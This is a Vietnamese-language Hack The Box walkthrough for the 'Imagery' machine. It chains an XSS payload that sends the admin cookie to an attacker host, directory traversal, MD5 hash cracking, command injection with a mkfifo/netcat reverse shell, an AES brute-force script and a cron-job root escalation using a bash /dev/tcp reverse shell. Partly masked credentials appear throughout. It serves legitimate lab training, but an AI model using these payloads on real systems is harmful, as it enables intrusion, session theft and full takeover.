Hackthebox - Imagery

Hackthebox - Imagery
  1. Reconnaissance and Scanning
  2. Enumeration and Gaining access
    1. Cross-site scripting (XSS)
    2. Local file inclusion (FLI)
    3. Command injection
    4. Remote code execution (RCE)
  3. Privilege escalation

Reconnaissance and Scanning

rustscan -a 10.10.11.88 -- -sC -sV -oN nmap
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKyy0U7qSOOyGqKW/mnTdFIj9zkAcvMCMWnEhOoQFWUYio6eiBlaFBjhhHuM8hEM0tbeqFbnkQ+6SFDQw6VjP+E=
|   256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleYkGyL8P6lEEXf1+1feCllblPfSRHnQ9znOKhcnNM
8000/tcp open  http    syn-ack ttl 63 Werkzeug httpd 3.1.3 (Python 3.12.7)
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration and Gaining access

Truy cập web với port 8000.

Sử dụng dirsearch để bruteforce directory.

dirsearch -u 10.10.11.88:8000
  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/htb/machines/Imagery/reports/_10.10.11.88_8000/_25-10-07_12-41-40.txt

Target: http://10.10.11.88:8000/

[12:41:41] Starting: 
[12:42:23] 401 -   59B  - /images                                           
[12:42:30] 405 -  153B  - /login                                            
[12:42:31] 405 -  153B  - /logout                                           
[12:42:41] 405 -  153B  - /register                                         
[12:42:48] 401 -   32B  - /uploads/affwp-debug.log                          
[12:42:48] 401 -   32B  - /uploads/dump.sql                                 
                                                                             
Task Completed

Cross-site scripting (XSS)

Kiểm tra trong source web có khá nhiều thông tin hữu ích: một số path đã được ẩn đi như /admin và nhiều path đằng sau nó.

Trong footer của web có 1 path /report_bug.

Sau khi thử nghiệm input một số payload độc hại, kết quả là phần input ở trang này bị dính lỗ hổng XSS, có thể lấy được cookie của admin thông qua payload này.

<img src=x onerror="document.location='http://<ATTACK_MACHINE_IP>:<PORT>/?cookie='+document.cookie">

Trước khi inject thì bật netcat để lấy được thông tin request.

nc -lnvp 80

Tiêm payload vào input.

Quay trở lại netcat.

┌──(kali㉿kali)-[~/htb/machines/Imagery]
└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.14.136] from (UNKNOWN) [10.10.11.88] 51804
GET /?cookie=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aOaXaw.Gm8IoGNdHX4ZGvxS6IpEQWB9rT0 HTTP/1.1
Host: 10.10.14.136
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://0.0.0.0:8000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Copy session này và truy cập vào /admin/users.

Local file inclusion (FLI)

Ngoài ra còn có có 1 path nữa để check log: /admin/get_system_log?log_identifier=${encodeURIComponent(logIdentifier)}.log. Tiêm một số payload vào path này để kiểm tra, kết quả là tồn tại lỗ hổng directory traversal.

Tuy nhiên không lấy thêm được thông tin gì từ lỗ hổng này do các file cơ bản đều không xem được. Quay trở lại web và thay cookie của admin và cookie của user.

Ấn Save và load lại trang, trang web sẽ hiển thị thêm Admin Panel.

Quay trở lại Burp, mở file env của user hiện tại.

Một số thông tin thu thập được từ env:

  • User hiện tại: web
  • Môi trường hiện tại: Môi trường ảo Python tại /home/web/web/env/bin
  • Home: /home/web
  • Shell: /bin/bash
  • Giám sát memory của service flaskapp.service (ứng dụng Flask)

Nhờ Claude liệt kê một số tên file config của Flask có thể được sử dụng

db.json

Password hash chỉ là MD5, một thuật toán mã hóa cực yếu. Dùng Crackstation để crack pasword.

Tôi có password của testuser. Login web với user mới tìm được.

Command injection

Logic ban đầu của tôi là tìm kiếm tất cả POST requests để thực hiện inject trên các request này. Sau một thời gian tương đối dài khám phá web, tôi tìm thấy một lỗ hổng Command Injection trong phần chỉnh sửa ảnh.

Đầu tiên thực hiện upload ảnh. Quay lại ảnh vừa upload và chọn Transform Image

Chọn CropApply Transformation.

Quay trở lại BurpSuite và lấy request này sang Repeater.

Sau khi thử các payload của các lỗ hổng khác nhau, tôi tìm thấy Command Injection trong x param.

Khi tiêm 1 câu lệnh kèm ký tự đặc biệt, kết quả trả về lỗi /bin/sh: 1: Syntax error, chứng tỏ server đã xử lý câu lệnh. Thử các bypass filter.

Remote code execution (RCE)

Bật netcat listener trên máy kali với port tùy chọn.

nc -lnvp 9001

Sử dụng Revshells.com để tạo reverhsell. Tôi sử dụng shell bên dưới với IP của máy kali và port đã lắng nghe bên trên.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.7 9001 >/tmp/f

Quay trở lại máy kali.

┌──(kali㉿kali)-[~/htb/machines/Imagery]
└─$ nc -lnvp 9001       
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.88] 36592
bash: cannot set terminal process group (1374): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.2$ id
id
uid=1001(web) gid=1001(web) groups=1001(web)
bash-5.2$ 

Khai thác thông tin bên trong thư mục.

bash-5.2$ ls -la
ls -la
total 104
drwxrwxr-x 9 web  web   4096 Sep 22 18:56 .
drwxr-x--- 7 web  web   4096 Sep 22 18:56 ..
-rw-rw-r-- 1 web  web   9784 Aug  5 08:56 api_admin.py
-rw-rw-r-- 1 web  web   6398 Aug  5 08:56 api_auth.py
-rw-rw-r-- 1 web  web  11876 Aug  5 08:57 api_edit.py
-rw-rw-r-- 1 web  web   9091 Aug  5 08:57 api_manage.py
-rw-rw-r-- 1 web  web    840 Aug  5 08:58 api_misc.py
-rw-rw-r-- 1 web  web   3698 Sep 18 18:35 api_upload.py
-rw-rw-r-- 1 web  web   1943 Aug  5 15:21 app.py
drwxr-xr-x 2 root root  4096 Sep 22 18:56 bot
-rw-rw-r-- 1 web  web   1809 Aug  5 08:59 config.py
-rw-rw-r-- 1 web  web   3976 Oct 14 08:52 db.json
drwxrwxr-x 5 web  web   4096 Sep 22 18:56 env
drwxr-xr-x 2 web  web   4096 Sep 22 18:56 __pycache__
drwxr-xr-x 3 web  web   4096 Sep 22 18:56 static
drwxrwxr-x 2 web  web   4096 Oct 14 08:36 system_logs
drwxrwxr-x 2 web  web   4096 Sep 22 18:56 templates
drwxrwxr-x 3 web  web   4096 Oct 14 08:36 uploads
-rw-rw-r-- 1 web  web   4023 Aug  5 09:00 utils.py
bash-5.2$ ls -la bot
ls -la bot
total 16
drwxr-xr-x 2 root root 4096 Sep 22 18:56 .
drwxrwxr-x 9 web  web  4096 Sep 22 18:56 ..
-rwxr-xr-x 1 web  web  6899 Aug  2 19:56 admin.py
bash-5.2$ cat bot/admin.py
cat bot/admin.py
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import tempfile, shutil, time, traceback, uuid, os, glob

# ----- Config -----
CHROME_BINARY = "/usr/bin/google-chrome"
USERNAME = "admin@imagery.htb"
PASSWORD = "stro*****beach"
BYPASS_TOKEN = "K7Zg9vB$24NmW!q8xR0p%tL!"
APP_URL = "http://0.0.0.0:8000"
# ------------------

# Clean up old profiles
for folder in glob.glob("/tmp/chrome-profile-*"):
    try:
        shutil.rmtree(folder, ignore_errors=True)
    except Exception:
        pass

# Check /tmp space
total, used, free = shutil.disk_usage("/tmp")
if free < 50 * 1024 * 1024:
    print(f"[!] WARNING: /tmp is low on space! Only {free / 1024 / 1024:.2f} MB free.")

# Create new profile
user_data_dir = f"/tmp/chrome-profile-{uuid.uuid4()}"
os.makedirs(user_data_dir, exist_ok=True)

# Configure Chrome
options = Options()
options.binary_location = CHROME_BINARY
options.add_argument("--headless=new")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
options.add_argument(f"--user-data-dir={user_data_dir}")
options.set_capability("goog:loggingPrefs", {"browser": "ALL"})

....................

Ở đây tôi có thêm credential của admin. Tuy nhiên đến bước này rồi thì user này không còn quá quan trọng, chỉ lưu lại password biết đâu sẽ dùng được cho các phần tiếp theo.

Thử tìm tất cả các thư mục và file chứa một số đuôi nhạy cảm.

find / \( -iname "*id_rsa" -o -iname "*db" -o -iname "*sql" -o -iname "*key" -o -iname "*pem" -o -iname "*backup" -o -iname "*bak" -o -iname "*conf" \) 2>/dev/null
bash-5.2$ find / \( -iname "*id_rsa" -o -iname "*db" -o -iname "*sql" -o -iname "*key" -o -iname "*pem" -o -iname "*backup" -o -iname "*bak" -o -iname "*conf" \) 2>/dev/null
<" -o -iname "*bak" -o -iname "*conf" \) 2>/dev/null
/var/backup
/var/cache/debconf
/var/cache/man/ro/index.db
/var/cache/man/sr/index.db
/var/cache/man/fr/index.db
...............
bash-5.2$ cd /var/backup
cd /var/backup
bash-5.2$ ls -la
ls -la
total 22524
drwxr-xr-x  2 root root     4096 Sep 22 18:56 .
drwxr-xr-x 14 root root     4096 Sep 22 18:56 ..
-rw-rw-r--  1 root root 23054471 Aug  6  2024 web_20250806_120723.zip.aes

Bật http server trên máy này, lấy file này về máy kali để phân tích.

bash-5.2$ python3 -m http.server 4444
python3 -m http.server 4444

┌──(kali㉿kali)-[~/htb/machines/Imagery]
└─$ wget http://10.10.11.88:4444/web_20250806_120723.zip.aes
--2025-10-14 05:53:01--  http://10.10.11.88:4444/web_20250806_120723.zip.aes
Connecting to 10.10.11.88:4444... connected.
HTTP request sent, awaiting response... 200 OK
Length: 23054471 (22M) [application/octet-stream]
Saving to: ‘web_20250806_120723.zip.aes’

web_20250806_120723.zip.aes             100%[============================================================================>]  21.99M   120KB/s    in 2m 1s   

2025-10-14 05:55:02 (187 KB/s) - ‘web_20250806_120723.zip.aes’ saved [23054471/23054471]

Phân tích file này, đây là file mã hóa sử dụng AES, được tạo bởi pyAesCrypt 6.1.1

┌──(kali㉿kali)-[~/htb/machines/Imagery]
└─$ file web_20250806_120723.zip.aes 
web_20250806_120723.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"

Hỏi Claude về cách decrypt được file này và nhận được kết quả là sử dụng chính pyAesCrypt để giải mã.

Cài đặt pyAesCrypt

pip3 install pyaescrypt --break-system-packages
┌──(kali㉿kali)-[~/htb/machines/Imagery]
└─$ pyAesCrypt -h                                                                     
usage: pyAesCrypt [-h] [-o OUT] [-p PASSWORD] (-e | -d) filename

Encrypt/decrypt a file using AES256-CBC.

positional arguments:
  filename              file to encrypt/decrypt

options:
  -h, --help            show this help message and exit
  -o, --out OUT         specify output file
  -p, --password PASSWORD
                        specify the password
  -e, --encrypt         encrypt file
  -d, --decrypt         decrypt file
┌──(kali㉿kali)-[~/htb/machines/Imagery]
└─$ pyAesCrypt -d web_20250806_120723.zip.aes -o web_20250806_120723.zip          
Password:
Wrong password (or file is corrupted).

Thử với tất cả password mà tôi đã tìm được nhưng đều không có kết quả. Tôi sẽ viết 1 đoạn mã python đơn giản để thử brute-force password của file này.

nano aes_brute.py
import pyAesCrypt
import sys

def decrypt(encrypted_file, password):
    try:
        pyAesCrypt.decryptFile(
            encrypted_file,
            "web_20250806_120723.zip",
            password,
            256 * 1024
        )
        return True
    except:
        return False

# Đọc wordlist
with open('/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt', 'r', encoding='latin-1') as f:
    for line in f:
        password = line.strip()
        print(f"Trying: {password}", end='\r')
        
        if decrypt('web_20250806_120723.zip.aes', password):
            print(f"\n[+] Password found: {password}")
            sys.exit(0)

print("\n[-] Password not found")
┌──(kali㉿kali)-[~/htb/machines/Imagery]
└─$ python aes_brute.py                                                  
Trying: be******ds
[+] Password found: be******ds

Thành công tìm được password, quay trở lại thực hiện decrypt file

pyAesCrypt -d web_20250806_120723.zip.aes -o web_20250806_120723.zip -p 'be******ds'

Giải nén file zip

unzip web_20250806_120723.zip

Tôi nhận được thư mục web được backup.

┌──(kali㉿kali)-[~/htb/machines/Imagery/web]
└─$ ll
total 92
-rw-rw-r-- 1 kali kali  9784 Aug  5 08:56 api_admin.py
-rw-rw-r-- 1 kali kali  6398 Aug  5 08:56 api_auth.py
-rw-rw-r-- 1 kali kali 11876 Aug  5 08:57 api_edit.py
-rw-rw-r-- 1 kali kali  9091 Aug  5 08:57 api_manage.py
-rw-rw-r-- 1 kali kali   840 Aug  5 08:58 api_misc.py
-rw-rw-r-- 1 kali kali 12082 Aug  5 08:58 api_upload.py
-rw-rw-r-- 1 kali kali  1943 Aug  5 15:21 app.py
-rw-rw-r-- 1 kali kali  1809 Aug  5 08:59 config.py
-rw-rw-r-- 1 kali kali  1503 Aug  6 12:07 db.json
drwxrwxr-x 5 kali kali  4096 Oct 14 12:04 env
drwxrwxr-x 2 kali kali  4096 Oct 14 12:03 __pycache__
drwxrwxr-x 2 kali kali  4096 Oct 14 12:03 system_logs
drwxrwxr-x 2 kali kali  4096 Oct 14 12:03 templates
-rw-rw-r-- 1 kali kali  4023 Aug  5 09:00 utils.py

Trong file db.json tôi tìm thấy thêm thông tin đăng nhập của user webmark

┌──(kali㉿kali)-[~/htb/machines/Imagery/web]
└─$ cat db.json 
{
    "users": [
        {
            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "displayId": "f8p10uw0",
            "isTestuser": false,
            "isAdmin": true,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "displayId": "8utz23o5",
            "isTestuser": true,
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "mark@imagery.htb",
            "password": "01c3d2*************a367cf53e535",
            "displayId": "868facaf",
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        },
        {
            "username": "web@imagery.htb",
            "password": "84e3c804***************f3da177e0",
            "displayId": "7be291d4",
            "isAdmin": true,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        }
    ],
    "images": [],
    "bug_reports": [],
    "image_collections": [
        {
            "name": "My Images"
        },
        {
            "name": "Unsorted"
        },
        {
            "name": "Converted"
        },
        {
            "name": "Transformed"
        }
    ]
}                                              

Sử dụng Crackstation để crack 2 password này và thử switch user bằng password vừa tìm được.

bash-5.2$ id
id
uid=1001(web) gid=1001(web) groups=1001(web)
bash-5.2$ su mark
su mark
Password: s******sh
id
uid=1002(mark) gid=1002(mark) groups=1002(mark)
python3 -c 'import pty;pty.spawn("/bin/bash")'
bash-5.2$ cd
cd
bash-5.2$ ls -la
ls -la
total 24
drwxr-x--- 2 mark mark 4096 Sep 22 18:56 .
drwxr-xr-x 4 root root 4096 Sep 22 18:56 ..
lrwxrwxrwx 1 root root    9 Sep 22 13:21 .bash_history -> /dev/null
-rw-r--r-- 1 mark mark  220 Aug 20  2024 .bash_logout
-rw-r--r-- 1 mark mark 3771 Aug 20  2024 .bashrc
-rw-r--r-- 1 mark mark  807 Aug 20  2024 .profile
-rw-r----- 1 root mark   33 Oct 14 05:26 user.txt
bash-5.2$ 

Privilege escalation

Lệnh đầu tiên mà tôi luôn thử sudo -l

bash-5.2$ sudo -l
sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

Thử chạy file này

bash-5.2$ sudo /usr/local/bin/charcol help
sudo /usr/local/bin/charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...

Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
  {shell,help}          Available commands
    shell               Enter an interactive Charcol shell.
    help                Show help message for Charcol or a specific command.

options:
  --quiet               Suppress all informational output, showing only
                        warnings and errors.
  -R, --reset-password-to-default
                        Reset application password to default (requires system
                        password verification).

Đây chính là công cụ được sử dụng để mã hóa ra file aes mà tôi đã decrypt được ở phần trên.

bash-5.2$ sudo /usr/local/bin/charcol shell
sudo /usr/local/bin/charcol shell

  ░██████  ░██                                                  ░██ 
 ░██   ░░██ ░██                                                  ░██ 
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██ 
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██ 
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██ 
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██ 
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██ 
                                                                    
                                                                    
                                                                    
Charcol The Backup Suit - Development edition 1.0.0

[2025-10-14 16:19:52] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol> help 
help
[2025-10-14 16:20:05] [INFO] 
Charcol Shell Commands:

  Backup & Fetch:
    backup -i <paths...> [-o <output_file>] [-p <file_password>] [-c <level>] [--type <archive_type>] [-e <patterns...>] [--no-timestamp] [-f] [--skip-symlinks] [--ask-password]
      Purpose: Create an encrypted backup archive from specified files/directories.
      Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/'.
      Naming: Automatically adds timestamp unless --no-timestamp is used. If no -o, uses input filename as base.
      Permissions: Files created with 664 permissions. Ownership is user:group.
      Encryption:
        - If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
        - If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED archive.
      Examples:
        - Encrypted with file-specific password:
          backup -i /home/user/my_docs /var/log/nginx/access.log -o /tmp/web_logs -p <file_password> --verbose --type tar.gz -c 9
        - Encrypted with app password (if status 1):
          backup -i /home/user/example_file.json
        - Unencrypted (if status 2 and no -p):
          backup -i /home/user/example_file.json
        - No timestamp:
          backup -i /home/user/example_file.json --no-timestamp

    fetch <url> [-o <output_file>] [-p <file_password>] [-f] [--ask-password]
      Purpose: Download a file from a URL, encrypt it, and save it.
      Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/fetched_file'.
      Permissions: Files created with 664 permissions. Ownership is current user:group.
      Restrictions: Fetching from loopback addresses (e.g., localhost, 127.0.0.1) is blocked.
      Encryption:
        - If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
        - If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED file.
      Examples:
        - Encrypted:
          fetch <URL> -o <output_file_path> -p <file_password> --force
        - Unencrypted (if status 2 and no -p):
          fetch <URL> -o <output_file_path>

  Integrity & Extraction:
    list <encrypted_file> [-p <file_password>] [--ask-password]
      Purpose: Decrypt and list contents of an encrypted Charcol archive.
      Note: Requires the correct decryption password.
      Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
      Example:
        list /var/backup/<encrypted_file_name>.zip.aes -p <file_password>

    check <encrypted_file> [-p <file_password>] [--ask-password]
      Purpose: Decrypt and verify the structural integrity of an encrypted Charcol archive.
      Note: Requires the correct decryption password. This checks the archive format, not internal data consistency.
      Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
      Example:
        check /var/backup/<encrypted_file_name>.tar.gz.aes -p <file_password>

    extract <encrypted_file> <output_directory> [-p <file_password>] [--ask-password]
      Purpose: Decrypt an encrypted Charcol archive and extract its contents.
      Note: Requires the correct decryption password.
      Example:
        extract /var/backup/<encrypted_file_name>.zip.aes /tmp/restored_data -p <file_password>

  Automated Jobs (Cron):
    auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
      Purpose: Add a new automated cron job managed by Charcol.
      Verification:
        - If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
        - If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
      Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
      Examples:
        - Status 1 (encrypted app password), cron:
          CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), cron, unencrypted backup:
          CHARCOL_NON_INTERACTIVE=true charcol auto add \
          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
        - Status 2 (no app password), interactive:
          auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
          --name "Daily Docs Backup" --log-output <log_file_path>
          (will prompt for system password)

    auto list
      Purpose: List all automated jobs managed by Charcol.
      Example:
        auto list

    auto edit <job_id> [--schedule "<new_schedule>"] [--command "<new_command>"] [--name "<new_name>"] [--log-output <new_log_file>]
      Purpose: Modify an existing Charcol-managed automated job.
      Verification: Same as 'auto add'.
      Example:
        auto edit <job_id> --schedule "30 4 * * *" --name "Updated Backup Job"

    auto delete <job_id>
      Purpose: Remove an automated job managed by Charcol.
      Verification: Same as 'auto add'.
      Example:
        auto delete <job_id>

  Shell & Help:
    shell
      Purpose: Enter this interactive Charcol shell.
      Example:
        shell

    exit
      Purpose: Exit the Charcol shell.
      Example:
        exit

    clear
      Purpose: Clear the interactive shell screen.
      Example:
        clear

    help [command]
      Purpose: Show help for Charcol or a specific command.
      Example:
        help backup

Global Flags (apply to all commands unless overridden):
  --app-password <password>    : Provide the Charcol *application password* directly. Required for 'auto' commands if status 1. Less secure than interactive prompt.
  -p, "--password" <password>    : Provide the *file encryption/decryption password* directly. Overrides application password for file operations. Less secure than --ask-password.
  -v, "--verbose"                : Enable verbose output.
  --quiet                      : Suppress informational output (show only warnings and errors).
  --log-file <path>            : Log all output to a specified file.
  --dry-run                    : Simulate actions without actual file changes (for 'backup' and 'fetch').
  --ask-password               : Prompt for the *file encryption/decryption password* securely. Overrides -p and application password for file operations.
  --no-banner                   : Do not display the ASCII banner.
  -R, "--reset-password-to-default"  : Reset application password to default (requires system password verification).
                
charcol> 

Sau khi đọc và phân tích phần hướng dẫn của công cụ này, tôi để ý thấy phần Automated Jobs (Cron) cho phép chạy --command để đặt lịch thực hiện câu lệnh backup. Vậy thì thay bằng câu lệnh backup, tôi có thể thêm revershell vào đây.

Câu lệnh như bên dưới, với --schedule để đặt thời gian chạy lệnh, --command là câu lệnh thực thi và --name để đặt tên cho job này, cuối cùng thêm IP của máy kali và port tùy chọn.

auto add --schedule "* * * * *" --command "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.7/7777 0>&1'" --name "RevShell"

Trước khi Enter thì bật listener trên máy kali.

nc -lnvp 7777
charcol> auto add --schedule "* * * * *" --command "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.7/7777 0>&1'" --name "RevShell"         
<& /dev/tcp/10.10.14.7/7777 0>&1'" --name "RevShell"
[2025-10-14 16:36:59] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: 
s*******sh

[2025-10-14 16:37:07] [INFO] System password verified successfully.
[2025-10-14 16:37:07] [INFO] Auto job 'RevShell' (ID: 2ff71144-4fca-41b8-a836-ef6d157eeea4) added successfully. The job will run according to schedule.
[2025-10-14 16:37:07] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.7/7777 0>&1'

Quay trở lại listener.

┌──(kali㉿kali)-[~/htb/machines/Imagery/web]
└─$ nc -lnvp 7777    
listening on [any] 7777 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.88] 40634
bash: cannot set terminal process group (175714): Inappropriate ioctl for device
bash: no job control in this shell
root@Imagery:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@Imagery:~# pwd
pwd
/root
root@Imagery:~# ls -la
ls -la
total 115212
drwx------  9 root root      4096 Oct 14 05:26 .
drwxr-xr-x 20 root root      4096 Sep 22 19:10 ..
lrwxrwxrwx  1 root root         9 Sep 22 13:21 .bash_history -> /dev/null
-rw-rw-r--  1 root root        81 Jul 30 08:10 .bash_profile
-rw-r--r--  1 root root      3187 Jul 30 08:10 .bashrc
drwxr-xr-x  4 root root      4096 Sep 22 18:56 .cache
drwxr-xr-x  2 root root      4096 Oct 14 14:03 .charcol
-rw-r--r--  1 root root 117907496 Aug  1 11:15 chrome.deb
drwx------  3 root root      4096 Sep 22 18:56 .config
drwxrwxr-x  3 root root      4096 Sep 22 18:56 .cron
-rw-------  1 root root        20 Sep 19 10:00 .lesshst
drwxr-xr-x  5 root root      4096 Sep 22 18:56 .local
drwx------  3 root root      4096 Sep 22 18:56 .pki
-rw-r-----  1 root root        33 Oct 14 05:26 root.txt
-rw-r--r--  1 root root        66 Sep 22 10:49 .selected_editor
drwx------  2 root root      4096 Sep 22 18:56 .ssh
-rw-r--r--  1 root root       165 Sep 22 13:21 .wget-hsts
root@Imagery:~# 

© 2025. All rights reserved.